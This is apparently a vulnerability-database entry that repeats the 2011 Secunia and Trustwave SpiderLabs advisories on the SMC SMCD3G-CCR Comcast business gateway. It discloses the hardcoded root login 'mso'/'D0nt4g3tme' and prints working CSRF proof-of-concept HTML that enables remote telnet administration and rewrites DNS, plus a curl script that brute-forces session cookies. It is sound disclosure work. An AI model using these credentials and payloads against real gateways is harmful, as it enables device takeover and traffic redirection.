DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n1) The web management application generates session identifiers\nincrementally, which can be exploited to brute force a valid session\nidentifier via the \"userid\" cookie. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e \u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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VAR-201102-0085
Vulnerability from variot - Updated: 2023-12-18 12:31The web management portal on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 uses predictable session IDs based on time values, which makes it easier for remote attackers to hijack sessions via a brute-force attack on the userid cookie. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
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http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
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. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e 